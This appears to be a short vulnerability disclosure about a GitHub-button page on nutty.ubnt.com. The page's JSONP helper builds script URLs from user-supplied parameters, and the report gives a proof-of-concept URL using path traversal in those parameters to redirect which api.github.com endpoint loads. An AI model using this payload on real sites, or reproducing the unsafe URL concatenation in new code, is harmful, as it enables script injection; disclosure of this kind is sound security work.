Another vulns

Also, this script has potential vulnerabilities using user controlled parameters in the path to the JS script.
But for the exploitation it requires additional vulnerability on api.github.com (for example, Open Redirect or user controlled output).
```js
function jsonp(path) {
var el = document.createElement('script');
el.src = path + '?callback=callback';
head.insertBefore(el, head.firstChild);
}
...
if (type == 'follow') {
jsonp('https://api.github.com/users/' + user);
} else {
jsonp('https://api.github.com/repos/' + user + '/' + repo);
}
```
**PoC**
```
http://nutty.ubnt.com/github-btn.html?#&user=../../another/endpoint&repo=../../another/endpoint&type=fork
```
**Result**
```
https://api.github.com/another/endpoint?callback=callback
```
